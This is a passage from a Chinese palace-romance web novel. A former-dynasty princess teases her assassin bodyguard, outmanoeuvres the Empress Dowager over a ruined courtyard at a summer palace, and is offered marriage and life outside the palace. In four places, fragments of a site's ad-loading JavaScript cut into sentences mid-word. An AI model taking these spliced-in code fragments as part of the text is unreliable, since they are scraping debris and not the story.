李之夭瞧他一本正经,神情紧绷,想尽快跟她撇清关系,但李之夭偏不如他的愿,让他去找不了裴淮,故而生出逗弄的心思。 “不如你以身相许吧。”李之夭笑盈盈的,“入赘到宫里。” 这句话在纪无涯心里宛如一记重锤狠狠砸在心上。 他从未考虑过这方面的事。 江湖上行走游荡,就算遇到调戏他的人,他都能一巴掌把人拍晕不敢多听,今日如此直白的话猝不及防讲出来,顿时让他面红耳赤,拿着金币的手陡然攥紧。 李之夭看他如临大敌的样子忍俊不禁,更是往前走了一步,进一步试探他的底线。 “我一前朝公主,身份算不上尊贵,你也知道我别的没有,就是有点小钱,买下你后半生,不让你过刀尖舔血的日子也绰绰有余,你觉得怎样?” 充满笑意的眸子话语间又凑近几分,惊得纪无涯下意识往后退了一步,想跟眼前的人拉开距离。 从前以为她只是个黑心肝的爱哭鬼,可怎想到说话做事都如此胆大。 纪无涯双耳红若滴血,眼神止不住四处张望,不敢看直视她。 今日李之夭打扮精致,不似过去几面粗糙,一瞥一笑如春日桃花,教人移不开眼,人靠近还能闻到她身上特有的桂花牛乳香。 他开口不似从前淡定,略显狼狈,“公主……不是钱的问题。” 李之夭又往前一步,见他退缩更是有恃无恐,“不是钱的问题,是什么问题?” 她微微皱眉,声音夹杂委屈,略带哭腔地控诉指责他,“纪无涯,明明是你自己说的,我想怎么报答,现在我说出来,你反倒不接受了。” 纪无涯转过头想跟寻方求助,寻方自己也愣在原地,惊得回不过神,察觉他求救的目光,半晌也不知该如何开口。 娶亲成家这种事,对他们杀手出身的人来讲根本就不会考虑,就连情爱都不愿沾惹。 一不小心死在哪里都不知道,犯不着去耽误人家姑娘。 “我……”纪无涯再往后退了一步,“我不是这个意思。” 他只是觉得他们二人关系并不到能够接受对方成为自己未来丈夫或者妻子的地步。 这个主意实在过于草率。 对方偏偏不依不挠,“那你是何意?” “你我之间并无感情。”纪无涯稳定心神,断然回绝,他们都把事情看得过于透彻,李之夭也许只是一时兴起想逗他玩一玩,当初在大街上她都能做出类似的事情。 可转念一想,若没有别的意思,她为何又是装病救雪,让她赶回来救自己,又能精准察觉知晓他丢了东西,还帮他找回金坤钱。 包括宫外几日的相处,或许让她心里产生别的情愫。 难不成,她对他真有些情谊? 李之夭见他仿佛面临一个非常困扰的问题,她就是那个棘手的难题,实在无法让人下手去解。 她勾唇缓缓低下头,声音失望,“既然你不愿,我也不会强人所难,再想想别的办法偿还恩情吧。” 纪无涯点头,“好。” 即便作罢,他紧张的情绪依旧久久得不到缓解,也并未松口气。 如何偿还恩情这个问题思考起来,一时之间竟也找不到答案。 七月初二,清武二年。 清武帝启程前往骊山避暑,出了皇宫,行人纷纷下跪行礼或是回避,声势浩荡的仪仗队穿过朱雀街,朝骊山方向而去。 纪无涯骑马行在李之夭轿撵一侧,他今日穿了一件深蓝色交领长衫,佩戴了同色系的护腕,腰间黑色腰带挂了一枚银色配饰,墨发依旧高束成马尾,额前留有几缕细碎的发,衬得他眉眼俊朗,容色无双,一手握缰绳随大部队策马,一手上上下下抛着带流苏的银币。 似乎察觉有人在看自己,纪无涯微微侧脸,朝身侧的人低头看去,他一转头,阳光便从他脸上丢去半分,映得他鼻子挺拔,目光深邃。 但他刚看去,罪魁祸首便慌乱收回目光,生怕被他逮个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正着。 纪无涯微微抿了抿唇,在宫里的那个插曲让他忍不住的去猜想。 她果然是有别的意思吧? 想着纪无涯攥紧缰绳,目光望向别处,不由加快了点速度,跟她位置错开。 春夏时雨和小顺子属于李之夭的近身女婢太监,此番出行是能坐在李之夭后头的马车上,春夏放下打帘的手将目光缩回来。 “主子怎留他在跟前候着,这样当真没事么?” “主子做事想必有她自己的考量,看他样子不会作妖,就算作妖还有秦大统领在。” 时雨回道。 春夏只得叹气,希望未来一切太平,因为这趟出行,只带了太后和一位妃嫔,往年都有绾妃和大公主随从,这次绾妃和大公主惹怒皇上才没一块去。 不然去到山上,这几人凑一块就没好日子过,时不时整些幺蛾子。 这次还是她们主子第一次出宫去骊山,去年避着大公主和绾妃才没去,今年她们二人都不在,想想有段时间见不到她们,心情都好了许多。 部队出行到城门口,正在茶水摊上喝水的人看到马背上的少年,他用手肘拐了拐身边朝别处看的同伴。 “十一,你看那个是不是十三?” 这看不要紧,十一看见差点拔剑而起要过去却被身边的人拦住。 “不要冲动,他混在皇帝出行的队伍中间,你若动手,楼主那边不好交代。” “师兄,你说怎么办?” “咱们先跟着,找机会下手,现在十四和十九还没出现,抓到他,不怕他们继续躲着。” 两人一饮而尽杯中茶水,提剑跟了上去。 于此同时,在他们不远处还有人也在偷偷注视着出行队伍。 裴淮目光阴恻恻地盯着正在打盹的李之夭,眼眸间是控制不住的恨意,苏月清坐在他身边,神色担忧。 “裴公子,我得先一步赶去骊山,若是皇上察觉,对你我都不利。” “杨刻在附近,有事你找他,我这段时间会在骊山下的镇子里。” 他顿了顿,苦笑出声,“我在短时间内怕是不能再组起新的力量,我带来京城的人全都在凤山一网打尽了,就连名下铺子也全丢了。” 苏月清明白他话里的意思,“我养父在大魏身居要职,我会尝试说服他帮你,但若我的身世你不能骗我。” 裴淮愣愣看她,语气带着一股不自信,他能从凤山活着出来实属不易,接二连三的打击都拜李之夭所赐,原先他本想李之夭身为燕国皇室,若能策反,她必定是自己最大的助力,可如今,李之夭并不识抬举,从始至终都只想取他性命。 “我还以为你在大魏这么长时间,早就对大魏产生感情,没想到自己养父都能抬出来帮我,你就不怕他死了么?”他话里讥讽,苏月清不是听不出来。 “你若不需要,那还是算了,若非事关我的身世,也不会把我养父牵扯进来。” 苏月清淡淡瞥了一眼,没在意他话里的意思。 她本就不是大魏人,失去的记忆里,她只记得自己是随着爹娘从北唐迁移至此,后面发生什么事,她全都不记得了,又为何会被现在的养父收养。 “人生在世,若能为某件事献身,也算死得其所。”她道。 41. 掌嘴 第41章 抵达骊山已是三日后,在行宫门口,苏月清恭敬站在那里,带领里面的奴仆出来迎接。 “奴婢参见皇上,太后,贤妃娘娘。” 没提宿宁公主的名号,李之夭并没在意,苏月清跟在裴淮身边这么些天,两人早就串通一气,这次不过是想给她一个下马威。 只不过李之夭没出声,太后江氏却按捺不住,朝一旁的她出言讽刺,“不亏是我大魏出来的奴仆,认得谁是主子,什么身份,不是有人得了个名头就能在宫里作威作福。” 清武帝本不想就此事再惹出风波,“母后。” 江氏摆摆手,一副不想跟他多说的样子,“哀家知道你要说什么,唉终归是年纪大了,你不喜欢听哀家不说便是,这一路辛苦,就先进去歇着了。” 她走后清武帝叹口气只跟李之夭道了一句,“夭夭你别放在心上,在骊山你的事自己看着办就成,无须请示,尽快跟上来。”便跟着江氏前后离开。 秦立山跟她拱手致辞,带着一块来的禁军去外围安营扎寨,留她还在原地不动弹,她没走,宫里的人到底是有些规矩在身上的,除却跟随清武帝和太后的,剩下的人都还在原地。 “你们先进去吧。” 李之夭出声让后面的宫人先进去收拾,没有先离开的意思。 苏月清朝李之夭不屑冷笑一声,“宿宁公主不走是要等奴婢请您进去么?” 李之夭看了眼春夏,得到信号的春夏上前便给她一巴掌,苏月清捂着脸难以置信瞪她,“你敢打我?” “手脚不干净,偷了东西我还打不得?你不过是个奴婢,再怎么样我身份地位也比你尊贵,莫不是跟裴淮相处几日,连自己几斤几两都掂量不清了,我原把你当知心姐姐,没想你却这般对我,狗眼看人低的东西。” 李之夭本想继续跟她虚以为蛇,是她自己主动把关系闹破,不给自己留面子,她眉眼睨向她身后跟着的嬷嬷和奴婢,“跟着条狗,反倒是连主子都不认得了。” 她们闻言对视齐刷刷地跪下,前头的嬷嬷出声,“宿宁公主恕罪,是奴婢们有眼无珠。” “你叫什么名字?” 为首嬷嬷道:“奴婢是骊山行宫的管事,他们都叫我方嬷嬷。” “方嬷嬷,这件事不知者无罪,你们久居山上受人蒙蔽不知也是在所难免,但死罪可免活罪难逃,掌嘴一次,下不为例。”李之夭摆手让人将她抬进去。 “是。”方嬷嬷恭敬行礼,心怀侥幸没人守着,她也能逃了惩罚,让身边的奴婢挨了罚也能交差。 但她刚抬头,春夏巴掌就结结实实落在她脸上。 方嬷嬷目光怨毒地瞪着苏月清,心中后悔不已,若不是听信她的话想给宿宁公主一个下马威,还说她能跟皇上保证她们没事才敢如此行事,要是皇上确实不会管这件事,但把宿宁公主她自己的事怎么处置全权交到她手里,给十个胆子也不敢。 挨了在场的让人都挨了一巴掌,难免对苏月清心存怨气,本想人离开后再找她算账,谁知道她脚底抹油溜得比耗子还快。 李之夭进了行宫没走几步便瞧见先进去的小顺子去而复返,他神色着急却又愤怒,看见自家主子直接过来骂道:“主子,这群老东西真不干人事!” “发生何事?” 时雨询问,“这般动气?” “他们仗着主子身份特殊,便随便安排了一处偏僻荒凉的院子,实在没法住人,到处乱石杂草,灰都落好几层,传闻还闹鬼!” 时雨听闻也愤愤不平起来,“他们简直过分,咱们主子跟他们无冤无仇,今日才是第一次见面,好歹也是名公主,怎么可以这么对主子。” 小顺子弱弱道:“听闻是太后的意思……” “皇上也没说什么?” “皇上想必不知道,太后瞒着皇上做的主。” 纪无涯从进门的时候就已经下了马,跟在一旁走着,他从没想过李之夭就算出了宫也是如此艰难,本以为按照她前世和现在的脾性在宫里应是如鱼得水的自在,看样子是他错了。 “需要我帮什么吗?”他主动开口。 李之夭摇头拒绝:“我能解决。”意识到自己的话可能过于强硬,她补充道,“你先安心调理。” 纪无涯敛回目光,沉默不再说话。 “走先去看看。” 根据小顺子的描述,已经能想象出来,等到了才知道,这个地方已处行宫深处,院子门头上歪歪斜斜挂着一个已经看不清字迹的牌子,行宫墙外便是茂密的树林,树林尽头就是悬崖。 推门进去杂草丛生,长得都快和人一样高,乱石横在其中,屋子更是看都不能看,破旧不堪,有的地方窗户纸被风吹得卷起来,一半黏在窗户上发出刺啦刺啦的声音。 室内更是,扑面霉味儿涌来,什么都是坏的,就算不坏都落了一层厚厚的灰。 春雨惊叫一声,连忙跺脚,一只老鼠从她身边蹿过。 “主子,太过分了!这怎么住人啊!” 李之夭原本还抱着江氏会顾及面子不会做得太难看的想法,谁知她竟做得如此决绝。 小顺子碰到门框,怎料那道木门就直挺挺倒了下来。 纪无涯伸手扶住木板门,自从早上她说了那话后,现在下意识的总会望向李之夭。 “这里许久没人打理居住,东西不稳,小心些。” 李之夭注意到他的目光,但在她看过去的时候纪无涯又会悄无声息的的避开。 分到这么个院子里,虽然她想住,现在却不是人能住的地方,趁着太阳尚未落山,她思索片刻心中顿时有了主意。 “小顺子,你去外面请秦大统领带几个人来帮我修一下,说的时候委屈些,把事情闹大。” 小顺子顿时明白她的用意,一点就通,立刻撒腿就往外面跑。 剩下的时雨出去吩咐先收拾一间屋子出来放东西。 春夏收拾好院子里的石桌和石凳子,他们几人就坐在那里,等小顺子带秦立山过来。 倘若外围的禁军知道了,就会从外面的人口中传到清武帝和太后耳朵里。 看到小顺子秦立山还震惊了会儿,他这会儿正在训话,底下带来的全部禁军站得整整齐齐,小顺子一张嘴,就跟大喇叭似的,清清楚楚传到前面的人耳朵里。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “什么?” 小顺子又说了一遍,还用衣袖摸了摸眼角的眼泪说着心酸事,“这些事本来我也不能随便说,毕竟是太后的旨意,万一传出去多不好听。” 他重重叹口气,欲言又止,顺利把下面聚精会神听他们说话的将士好奇心给勾了上来,小顺子见效果理想继而往下念叨,“说什么太后她老人家苛待外孙女,虽然主子是前朝公主,但主子的母亲也帮皇上打下江山,世人皆知皇上跟胞妹感情甚笃,没有功劳也有苦劳,若是拿去皇上面前说太后忘恩负义,岂不是有损皇家颜面,传出去多不好听,主子就不打算惊扰皇上,想着横竖在这里不过两三个月,忍一忍就过去了,所以那一院子的累差事只能劳烦大统领行行好帮一帮了。” 秦立山听完大概也知道是个什么事,“公公放心,我这就带人过去帮公主弄好院子。” 事实证明,他们还是低估了太后做事。 看到都不能称之为院子的地方,又看到宿宁公主安安静静站在摇摇欲坠破败不开的大门前,冲他们柔柔地笑着,面上没有气急败坏和恼怒,甚至没有表现出任何一点不满,只字不提太后,还让说是院子不够才会来这里。 明明空着许多院子,哪叫不够。 又是让人给他们干活的大老爷们倒茶又是找人给他们送帕子擦汗的,无微不至。 纪无涯也没闲着,正和秦立山一起补屋顶,他站在梯子上给秦立山递瓦片,忽然听到有人喊他。 “纪无涯,擦擦汗。” 他低头就见李之夭立在下面,伸着隔壁,露出一截白皙的小臂,手里拿着两块帕子。 他往下踩了几格梯子,接过帕子分了秦立山一块,再寻人的时,李之夭已经转身走了,纪无涯低头继续接着后面的人递上来的瓦片,再由他递给秦立山。 一大群人忙活一下午,直到晚上才把院子全部收拾出来。 过来用吃食的公公带人到此时,甚至怀疑是不是自己走错了。 “秦大统领,将士们都辛苦了,我让小厨房做了饭,吃完再离开吧。” 秦立山看了一眼送来的吃食,有着白日里公主被针对的事情在先,他难免多看了一眼吃的上面是否有苛待,见事物符合规矩他才回答:“公主不用了,天色已晚留这么些人不合规矩,臣先带人离开了,若有需要再让小顺子过来通传一声即可。” 李之夭点头,也不做过多挽留。 人撤走院子瞬间空了不少,也清静许多。 山上晚风清凉,吹在面上凉丝丝的。 “我们在外头吃吧。” 春夏赶紧让人点亮院子里的灯,支起一张木桌,晚饭呈上来,春夏和小顺子先坐下,招呼李之夭和时雨赶紧过来。 在宿宁宫里,没有外人的时候,他们四人一直都是一块吃饭,在僻静处合上院门,跟在宫里无异, 累了一天,他们吃饭自然积极。 李之夭想起随行的还有人,她看向默默站在暖黄烛光下的纪无涯。 他一半在阴影里,一半在光下,风撩动他的头发,目光沉沉,把自己摘除到喧闹外。 “你不一起来么?” 42. 流萤 第42章 纪无涯静静凝望她,一句询问将他彻底拉进了属于李之夭的圈子里。 她晃了晃手中的碗,“吃饭。” “嗯。” 得到回应李之夭才转身寻了个位置落座,让人加了两张凳子,纪无涯刚迈出步子,察觉周围有人在,眸光一寒,瞥向外面林子里。 下一瞬,暗器从他手中掷出,电光火石间,他投出的暗器在黑暗中被人挡下,发出‘锃’的一声。 有人从林间飞出,就着夜色落在纪无涯跟前,几乎同时拔剑直指纪无涯面门。 纪无涯探究的目光投向李之夭,他没动手而是等她先出声,“你认识?” “认识,他是我的暗卫之一,飞鸿,把剑收起来。” 飞鸿迟疑瞬,确认对方没有危险后才乖乖收剑转身去吃饭,两人一前一后来到桌前坐下。 他从来到这里就能感觉到有人一直在盯着院子,起初他以为是禁军的人,但禁军全部撤离后对方依旧没有离开的意思,出手试探了一下。 未来一段时间他都会留在这里,纪无涯并不想人在他眼皮子底下发生意外。 吃饭的时候很安静,呈上来的菜刚好被他们几人全部吃完,分好房间后飞鸿就离开了,除了李之夭一个人住一间,春夏时雨两人一间,纪无涯小顺子还有飞鸿三人一间。 但飞鸿要守在外面,房间里顿就剩就纪无涯跟小顺子。 “纪郎君,你看你要睡哪边?” 三人的通铺比较宽敞,纪无涯选了靠窗挨着墙的那边。 小顺子则没讲究那么多,自己睡在了中间,反正在他眼里,飞鸿的脾性跟纪无涯差不多,都不会睡中间,索性他自己睡在那里,还宽敞。 “你们当杀手的是不是都不怕死?” 小顺子躺在床上翘着腿开始跟纪无涯搭话,“今日还多谢你救我,差点被门儿给砸了。” 纪无涯从怀里掏出金坤钱,垂眸细细看着它,“从前是不怕的,现在怕了。” 总觉得金坤钱有股说不上来的味道,可又不知是什么味儿。 “救你举手之劳,不必客气。” 小顺子双手枕头,望着翻修过的房梁,想到白日里这些话传到太后耳朵里该有多难听,忍不住哼起歌儿来,侧头瞧见纪无涯皱眉凑近金坤钱闻了闻,“你洗过了么?” 这句话让纪无涯摸不着头脑,“什么?” “那金币你洗过了么?”他翻身趴在褥子上。 “为何?” 见他一副不明所以的样子,小顺子睁大双眼,“春夏没跟你说么?这钱是从哪来拿来的。” 纪无涯:? “这钱找回来的时候,春夏跟我说了,狱卒藏在鞋垫里,他多久没洗脚换鞋了……” 纪无涯想起方才他方才还闻了闻,胃里顿时翻江倒海,绕他在淡定,随着小顺子如浪潮一般的笑声,此时面上也出现皲裂。 难怪当日还他的时候,春夏脸上是藏不住的嫌弃,跟不是通过李之夭的手给他的。 原因找到了。 此时李之夭坐在榻上看书,时雨坐在一旁刺绣,春夏闹着太困回房了。 他们住的地方距离正殿那边有些远,晚上过来请他们去前面吃夜宵的事李之夭借口路远便推辞了。 她在宫里就是这样,出了宫没必要坏了从前的规矩。 身为前朝公主,朝中大臣和后宫妃嫔心中的心腹大患,李之夭总得为自己性命着想。 夜色渐沉,时雨也退下去歇息了,李之夭躺在床上翻来覆去睡不着,从前晚上她都不敢熟睡,只敢浅眠,因为一到晚上杀手出没,睡熟过去小命就没了。 现在短暂的安稳,有些无所适从,她起床点了灯坐在窗前,能看到藏在树梢间的弯月,院子里静悄悄的,她趴在窗棂上闭目养神。 睁眼看见纪无涯坐在墙头,他在墙头望她,眸子如月色,连带他身后的微微晃动的树梢此时都静止了。 忽然她房间内的烛火灭了。 李之夭没在去看他,点燃火折子转身去看蜡烛,烛台内的灯芯燃到一半就没了,剩下一截没灯芯的白蜡立在那里。 察觉有人出现在窗户前,李之夭望着影子道,“灯芯没了,这会儿春夏她们都睡着了。” “嗯。” 李之夭站在原地,看着窗外的人,此时她的眼睛逐渐适应黑暗,通过外面的夜色,她能看清少年挺拔的影子,“你为何不睡?” “小顺子鼾声吵闹,睡不着。” 纪无涯眼睛早适应从暗处看她,屋里漆黑一片,看不见人,只能听见她的声音轻柔传来,此刻他心里却逐渐勾勒出少女的面容,还有说话时的样子。 “明儿重新给你换个屋子?毕竟现在你是以我侍卫的名义留在身边,不能亏了你。” 亏待了你,后面就不会念好再转头去裴淮身边。 “不用,我睡的少。” 李之夭松了口气,一时间竟不知说点什么,他们沉默面对面摸黑站了会儿,就听他再开口,“你不睡?” “我晚上睡不着。” 纪无涯在应了一声便没说话,夜深人静,不想放弃跟他拉进关系的机会,“纪无涯,有什么不用点蜡烛就有光的办法?” “等我会儿,去去就来。” 李之夭来不及开口叫他留步已不见了踪影,她坐在椅子上等了莫约一刻钟,窗外传来动静,纪无涯已站在屋内,他合上窗户,视觉彻底陷入黑暗。 忽然有亮光飞出,随着愈来愈多的荧光涌出,李之夭看清光是从他手中的小袋子里飞出来的,直至照亮屋子,她盯着少年的眉眼愣神,她随口一说想着拉进点关系,没想到他去给自己抓萤火虫去了。 萤火虫在周围萦绕,窗户纸上树影婆娑,蝉鸣声阵阵,温度忽然在此刻热了起来,绕得李之夭心神不宁。 少年眉眼认真,在萤光点点星光斑斓间,李之夭忽然惋惜书中的他的早逝,若是不同裴淮有牵扯,他必能再活好几年。 一生信仰奉送,刀剑沾风雪。 最后什么都没留下。 她推开窗户,萤火虫受到惊吓慌乱朝外面飞去,逐渐隐没在黑夜里,夏日闷热的风吹来,撩得李之夭额前碎发挠得她脸发痒。 纪无涯的目光追随着随风而去的流萤,想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到自己的从前,“公主睡吧,今晚会很安全。” 他说完翻窗而出不知是回屋子还是去了哪里。 李之夭此时也有了困意,难得一觉睡到天明。 “主子,皇上派孙公公来了。”时雨从前院进来,此时李之夭正带着其他人除昨日没弄完的杂草,身后不远不近的跟着孙广全。 “公主,太后去见了皇上,一大早就念叨着你,这不,皇上便派奴才过来请您过去一趟。”孙广全上下打量了一下院子,都是修补过的,墙角甚至堆满了破旧不能用的家具。 还有摞得比人高的石头。 李之夭放下锄头,解下襻膊搭在旁边的架子上,“孙公公,劳烦你大老远跑一趟。” 孙广全上前舀水给她洗手,“这安排的院子确实过远了些,这地方看着怎么适合公主您这样的人住。” “只要修一修,总能住人的。”李之夭接过时雨递来的帕子擦干手上水珠,理了理衣服,“走吧,公公,别让舅舅等急了。” 孙广全特意说太后,李之夭就知道江氏脑子里卖的什么药,风声竟一大早便传到了她耳朵里。 现在舆论对她不利,可不得急着传唤她过去。 李之夭带上春夏和小顺子一块过去,留时雨照看院子。 她才刚到主要殿门口,隔着门都能听到江氏的大嗓。 “皇帝,李之夭她这么做,就是存心跟哀家过不去,她纵有再多不满,也不该宣扬得满宫里的人都知道。” “母后,这件事你也做的过分了些,她好歹也是公主,怎么可以让方嬷嬷安排去那种地方。” “哼,住那里一晚上怎么了,当年咱们还未发家时,条件可比现在差多了,她吃点苦也是应该的。” 李之夭推门,话戛然而止,她立在门口冲他们行礼,江氏白了她一眼,也没说让她起身的话,阴阳怪气道,“小小年纪,心思怎就这般龌龊,也不知道从了谁。” “太后所言何事?” 听她问什么事,反倒是把江氏的脾气点燃,不顾清武帝的眼神瞬间暴躁如雷,“你还有脸问!是不是你让人下去传我亏待你,说我忘恩负义的!” “怎会如此?太后为何会亏待我,何时忘恩负义?”李之夭跪在地上,低眉顺眼的样子,甚至不敢忤逆她一句话。 她不说江氏反倒自己说了出来,“哀家让你去住荒院你转身把这件事宣扬出去,外头全都在说哀家亏待于你,因你娘我连家才有今日的地位,说我忘恩负义,这些不都是你说出去的吗!” “舅舅明鉴,我从未亲口说过这些,因昨日舅舅说我自己的事可全权做主,想着能不麻烦尽量不麻烦,屋子随便修一下也是能住人,太后安排我住那里定有太后自己的用意,更不敢贸然更换,但院子里的又是些宫女,便请大统领派几个人过来帮忙,全程没说过太后一句不是。” 李之夭顿了顿,惴惴不安开口,“说不定是被人看到私底下随意聊了两句,传言不知怎就变成这样了,不信可请大统领作证!” 江氏冷笑一声:“你还死不承认,看样子不给你点颜色瞧瞧,你忘记这天下是谁家的!苏侍女,掌她嘴!” 43. 吵架 第43章 苏月清轻蔑地睨了李之夭一眼,昨日她被掌嘴,今日她打回来,心中忍不住暗爽。 但她正要动手之际,江氏却注意到宫人们的神色,分明是对她的做法产生不满,更是流露出对李之夭的怜悯。 江氏举起案前茶杯猛地砸在地上,“岂有此理!” 此言一出,在场奴婢太监纷纷跪了一地,就连苏月清都吓了一跳,滚烫的茶水溅在地上,零星几点落在她腿上,差点让她叫出声来。 “你们是对哀家的做法不满吗?!”江氏起身上前发狠地揣在一名太监身上,“哀家是太后,哀家说的话就是天理!你们一群狗奴才可睁大眼睛看清楚谁才是你们的主子!凡是听过说过此事的奴才全部给哀家拖下去杖毙!” 江氏的一句话,瞬间让清武帝心中不悦。 太后是他母亲没错,可如今他才是大魏的天子,何时轮到她说的话便是天理? 大张旗鼓杖毙这么多人,传出去反而更是压不住,届时情况必定越演越烈。 李之夭磕头求情:“太后息怒,若太后认定此事是宿宁一人过错,要打要罚罚我一人即可,宫女太监可怜,他们也是听了外头的流言蜚语,不知者无罪,行宫里这么多人知晓还包括外面禁军也知晓,若是全部杖毙必定血流成河,他们罪不至死,我宿宁一人愿全部承担!” 清武帝冷脸道:“母后。” 守在外面的秦立山听闻全部,不禁皱眉对这位大魏的太后心里也产生出不满来。 不问青红皂白要全部杖毙,不就想堵悠悠众口,但此事只要发生,她想堵也堵不住。 平息舆论挽回形象的做法,就是把宿宁公主请到别的院子去,但江氏似乎不想这么做,一味喊打喊杀,实在难堪。 孙广全见势不妙,赶紧让屋里头跪在地上的奴婢太监全部撤离,留下李之夭三人在里头。 出了门不忘把门带上,把外头候着的人撵远些,自己则跟秦立山守在外面,听里头传来的动静。 “母后可认为自己便是天理?” 清武帝语气都冷了几分,江氏顿时回神,顿时卸力瘫坐在椅子上,胸口上下起伏,半晌才意识到自己口不择言说错了什么。 “儿啊,母后不是那个意思,母后是气过头了说了混账话,你就原谅母后吧。”她抓住清武帝的胳膊道歉,却被甩开,张着嘴巴半晌不知道说什么。 最后却发狠地扭头盯着李之夭,“都怪你!要不是你,哀家怎会说那些混账话!” “太后息怒,一切都是宿宁的不是,还请太后责罚!” “够了,母后,你还嫌不够丢人吗?”清武帝制止,进宫两年了,她身上依旧改不掉在外头沾染的小人刻薄脾气,说话更是不过脑子,迟早作茧自缚,如今想让她改,让她宽容大度,随和,心怀天下,一样都做不到。 江氏眼泪瞬间出来,“你是在嫌弃母后吗?” 清武帝不理她,上前把泪流满面的李之夭扶起来,不停宽慰她道,“夭夭,你从那院子搬出去吧,朕为你重新寻个好住处。” “多谢舅舅,但我住那里挺好的,昨日大统领已带人帮我重新修缮一番,我住那里也不想麻烦,只求太后不要再误会我就好。” 江氏此时明白自己儿子已经因为她说的话产生不满,当时怒气上头口不择言的话已横他们中间,让清武帝对她心里产生了芥蒂。 可她不过是想让清武帝把李之夭送出宫去或不要那么在乎那个赔钱货留下的孩子,她也只想为她孩子守住来之不易的江山社稷。 江氏眼泪直掉,“好、好、好,哀家是那个坏人,哀家不管做什么都是错的,哀家怕这贱丫头抢了连家的江山哀家有错吗?” “母后,儿臣敬您,叫您一声母后,父皇走的早,阿妹也没了,天下那么大,当初跟连家有关系的人寥寥无几,她是阿妹的孩子,是唤朕舅舅的人,阿妹临终托付务必要照顾好她,深居宫中从不与外人接触,她如此自证清白还不够么?若她出现三长两短,朕如何跟在九泉之下的阿妹交代?“ “那都是你看到的表象!万一她在骗你!连慎,当心搬起石头砸自己的脚。” 索性到今日,四下无人,江氏也不再跟清武帝藏着掖着,一股脑哭起来,开始说这些年她有多不容易。 “我看你就是被那赔钱货掏了脑子!”江氏说着又伤心起来,“我的命真苦,省吃俭用让你小时候吃饱穿暖,还有书念,赔钱货暗中偷你的吃你的就算了,你反倒还帮她遮掩,长大当了官还想把她带在身边,你都那样对她了,她还有什么不满足!把一个孽障塞到你身边,她就是存着想把咱连家毁了的心啊,我的儿啊,你可醒醒吧。” “母后,当年说过多少遍,是朕不满您这么对待才将自己吃食和衣物分给阿妹,漱漱是朕的妹妹,朕不照顾她这个家里就没人在乎她了!当时她想跳河,你知道朕拉着她的时候她哭的有多伤心吗,她一直在求朕放手,可朕哪敢啊,她是朕唯一的妹妹,母后这些年,你摸着良心说你就未曾亏待过她?你们同身为女子,母后又为何不对她多加照拂,哪怕不是亲生,也该惺惺相惜才是。” 清武帝眼眶泛红,当年为了他的仕途,连漱走得决绝,去到那么远的地方,直到死了都在为他仕途着想,心愿便是膝下唯一的孩子。 他有什么理由不多加照看。 现在的他有能力有地位让阿妹过上好日子,可上天不给他机会。 面对李之夭这孩子,她谨小慎微,在宫里活得战战兢兢,他哪会相信她对大魏江山有想复国,他只能遵循妹妹遗愿照顾。 他是天子,这个位置上坐久了,难免会心存猜忌。 他疑心过李之夭,可事实证明他的疑心是错的,内心反复煎熬。 或许是他错了。 清武帝看向李之夭,忍不住问道:“夭夭,你想出宫吗?” 李之夭不确信,“舅舅,你在说什么?” “朕问你,你想出宫吗?” 江氏上前大声制止,“不可以!”她眼里祈求,“她若是出了宫,宫外你怎知哪些是燕国人,你就确信那些人不会找她让她暗中发展势力,以后好借此来夺走你的江山复国吗?!” 李之夭垂眸,这个问题不是她空口就能证明答案的问题,清武帝怀疑也是如此。 方才他问出宫,说明清武帝心里是考虑过的,放她离去。 江氏现在一说,又让清武帝对他的问题产生了质疑,若她回答是,清武帝会忍不住猜想,她急切想出宫,是不是还有复国的想法。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 若不想,她这些年所求不正是如此。 李之夭叩首,心中反复斟酌纠结后道,“一切全听舅舅做主。” 江氏冷嘲热讽:“算你识相。” 清武帝道:“既如此,回宫后朕为你选个驸马,成亲后搬到宫外公主府住吧,你是前朝遗孤,朕不能赏你封地,你可愿意?” “愿意。” 清武帝摆摆手,一副疲倦地样子,他坐在椅子上,“孙广全……”喊了一声仍不见人进来,不由拔高声音,“孙广全!” “嗳,来了!”孙广全赶忙推门进来。 “朕头疼,传苏侍女过来为朕瞧瞧。”他看向江氏,“母后若没别的事就先下去吧,夭夭也是,骊山山脚守义镇繁华,明日正好是七月初七,你若感兴趣,可让秦立山或缘楼那小子带你下山,别整日闷在宫里。” 李之夭应下出门回了院子。 清武帝让步并松了口,还得感谢江氏推波助澜。 今日过后,想必江氏短时间内也不会再来她麻烦,面对即将迎来的好日子,李之夭步子都轻快不少。 皇帝和太后之间的争吵行宫上下都略有耳闻,其余人并不知道他们在吵什么。 纪无涯当时就在屋顶,听了全过程,见李之夭出来后才先她一步回到院子。 “今天都早点睡!明日咱们下山去玩!” 李之夭进了院子大声宣布,春夏和小顺子高兴坏了,没想到会是这样的好消息。 “好哎!”春夏忙道,“早就听闻守义镇繁华,总算可以亲眼瞧上一瞧了!” “你就知道玩,到时候可别玩疯了。”时雨笑道,“我们都去吗?” “都去!”李之夭搂住春夏,“全都去!” 说完脸上还挺自豪。 纪无涯望着他们欢呼雀跃的样子,面上染上淡淡的笑意。 传闻中宿宁公主的性子,是这样明媚才对。 下午的时候,方嬷嬷敲响了院子的大门,春夏开门并不待见她,瞧她身后跟了一群人,手上拿了东西,不过被红布盖住,并不知道里面有什么。 方嬷嬷见对方没有要让她进去的意思,面上有些尴尬,把前因后果讲了一遍,“春夏姑娘,太后命老仆来赔礼道歉,这些是太后赏赐下来的物件,安排院子是老奴思虑不周怠慢了,还请宿宁公主大人有大量,原谅老奴吧。” 春夏侧身让她们进去,送完东西跟李之夭请安后便匆匆离开,生怕多待一秒都会惹祸上身,来的声势浩荡,走的时候更是风风火火,生怕别人不知道太后为平息舆论挽回形象认错了一般。 时雨瞧了一遍东西确认没问题,“东西都是好的,没问题。” 李之夭挑了几样自己喜欢的留下,其余便让时雨她们也选几样,小顺子挑了锭金子就让杵在一旁的纪无涯使眼色,“你愣着干嘛,选啊。” 